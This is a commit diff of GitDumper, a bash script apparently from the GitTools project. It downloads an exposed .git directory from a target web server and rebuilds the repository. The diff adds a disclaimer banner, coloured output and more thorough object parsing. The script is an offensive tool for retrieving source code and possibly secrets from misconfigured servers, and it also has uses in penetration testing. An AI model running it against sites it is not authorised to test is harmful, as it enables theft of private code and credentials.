|
1 | 1 | #!/bin/bash
|
2 | 2 | #$1 : URL to download .git from (http://target.com/.git/)
|
3 | 3 | #$2 : Folder where the .git-directory will be created
|
| 4 | + |
| 5 | +function init_header() { |
| 6 | + cat <<EOF |
| 7 | +########### |
| 8 | +# GitDumper is part of https://github.com/internetwache/GitTools |
| 9 | +# |
| 10 | +# Developed and maintained by @gehaxelt from @internetwache |
| 11 | +# |
| 12 | +# Use at your own risk. Usage might be illegal in certain circumstances. |
| 13 | +# Only for educational purposes! |
| 14 | +########### |
| 15 | +EOF |
| 16 | +} |
| 17 | + |
| 18 | +init_header |
| 19 | + |
| 20 | + |
4 | 21 | QUEUE=();
|
5 | 22 | DOWNLOADED=();
|
6 | 23 | BASEURL="$1";
|
7 | 24 | BASEDIR="$2";
|
8 | 25 | BASEGITDIR="$BASEDIR/.git/";
|
9 | 26 |
|
10 | 27 | if [ $# -ne 2 ]; then
|
11 |
| - echo "USAGE: http://target.tld/.git/ dest-dir"; |
| 28 | + echo -e "\e[33m[*] USAGE: http://target.tld/.git/ dest-dir\e[0m"; |
12 | 29 | exit 1;
|
13 | 30 | fi
|
14 | 31 |
|
15 | 32 |
|
16 | 33 | if [[ ! "$BASEURL" =~ /.git/$ ]]; then
|
17 |
| - echo "/.git/ missing in url"; |
| 34 | + echo -e "\e[31m[-] /.git/ missing in url\e[0m"; |
18 | 35 | exit 0;
|
19 | 36 | fi
|
20 | 37 |
|
21 | 38 | if [ ! -d "$BASEGITDIR" ]; then
|
22 |
| - echo "Destination folder does not exist"; |
23 |
| - echo "Creating $BASEGITDIR"; |
| 39 | + echo -e "\e[33m[*] Destination folder does not exist\e[0m"; |
| 40 | + echo -e "\e[32m[+] Creating $BASEGITDIR\e[0m"; |
24 | 41 | mkdir -p "$BASEGITDIR";
|
25 | 42 | fi
|
26 | 43 |
|
@@ -72,50 +89,59 @@ function download_item() {
|
72 | 89 | fi
|
73 | 90 |
|
74 | 91 | #Download file
|
75 |
| - curl -k -s "$url" > "$target" |
| 92 | + curl -f -k -s "$url" -o "$target" |
76 | 93 |
|
77 | 94 | #Mark as downloaded and remove it from the queue
|
78 | 95 | DOWNLOADED+=("$objname")
|
79 |
| - echo "Downloaded: $objname" |
80 |
| - |
81 |
| - #Check if we have an object hash |
82 |
| - if [[ "$objname" =~ /[a-f0-9]{2}/[a-f0-9]{38} ]]; then |
83 |
| - #Switch into $BASEDIR and save current working directory |
84 |
| - cwd=$(pwd) |
85 |
| - cd "$BASEDIR" |
86 |
| - |
87 |
| - #Restore hash from $objectname |
88 |
| - hash=$(echo "$objname" | sed -e 's~objects~~g' | sed -e 's~/~~g') |
89 |
| - |
90 |
| - #Check if it's valid git object |
91 |
| - git cat-file -t "$hash" &> /dev/null |
92 |
| - if [ $? -ne 0 ]; then |
93 |
| - #Delete invalid file |
94 |
| - cd "$cwd" |
95 |
| - rm "$target" |
96 |
| - return |
97 |
| - fi |
98 |
| - |
99 |
| - #Parse output of git cat-file -p $hash |
100 |
| - hashes+=($(git cat-file -p "$hash" | grep -oE "([a-f0-9]{40})")) |
101 |
| - |
102 |
| - cd "$cwd" |
103 |
| - fi |
104 |
| - |
| 96 | + if [ ! -f "$target" ]; then |
| 97 | + echo -e "\e[31m[-] Downloaded: $objname\e[0m" |
| 98 | + return |
| 99 | + fi |
| 100 | + echo -e "\e[32m[+] Downloaded: $objname\e[0m" |
| 101 | + |
| 102 | + #Check if we have an object hash |
| 103 | + if [[ "$objname" =~ /[a-f0-9]{2}/[a-f0-9]{38} ]]; then |
| 104 | + #Switch into $BASEDIR and save current working directory |
| 105 | + cwd=$(pwd) |
| 106 | + cd "$BASEDIR" |
| 107 | + |
| 108 | + #Restore hash from $objectname |
| 109 | + hash=$(echo "$objname" | sed -e 's~objects~~g' | sed -e 's~/~~g') |
| 110 | + |
| 111 | + #Check if it's valid git object |
| 112 | + type=$(git cat-file -t "$hash" 2> /dev/null) |
| 113 | + if [ $? -ne 0 ]; then |
| 114 | + #Delete invalid file |
| 115 | + cd "$cwd" |
| 116 | + rm "$target" |
| 117 | + return |
| 118 | + fi |
| 119 | + |
| 120 | + #Parse output of git cat-file -p $hash. Use strings for blobs |
| 121 | + if [[ "$type" != "blob" ]]; then |
| 122 | + hashes+=($(git cat-file -p "$hash" | grep -oE "([a-f0-9]{40})")) |
| 123 | + else |
| 124 | + hashes+=($(git cat-file -p "$hash" | strings -a | grep -oE "([a-f0-9]{40})")) |
| 125 | + fi |
| 126 | + |
| 127 | + cd "$cwd" |
| 128 | + fi |
| 129 | + |
105 | 130 | #Parse file for other objects
|
106 |
| - hashes+=($(cat "$target" | grep -oE "([a-f0-9]{40})")) |
| 131 | + hashes+=($(cat "$target" | strings -a | grep -oE "([a-f0-9]{40})")) |
107 | 132 | for hash in ${hashes[*]}
|
108 | 133 | do
|
109 | 134 | QUEUE+=("objects/${hash:0:2}/${hash:2}")
|
110 | 135 | done
|
111 | 136 |
|
112 | 137 | #Parse file for packs
|
113 |
| - packs+=($(cat "$target" | grep -oE "(pack\-[a-f0-9]{40})")) |
| 138 | + packs+=($(cat "$target" | strings -a | grep -oE "(pack\-[a-f0-9]{40})")) |
114 | 139 | for pack in ${packs[*]}
|
115 | 140 | do
|
116 | 141 | QUEUE+=("objects/pack/$pack.pack")
|
117 | 142 | QUEUE+=("objects/pack/$pack.idx")
|
118 | 143 | done
|
119 | 144 | }
|
120 | 145 |
|
| 146 | + |
121 | 147 | start_download
|
0 commit comments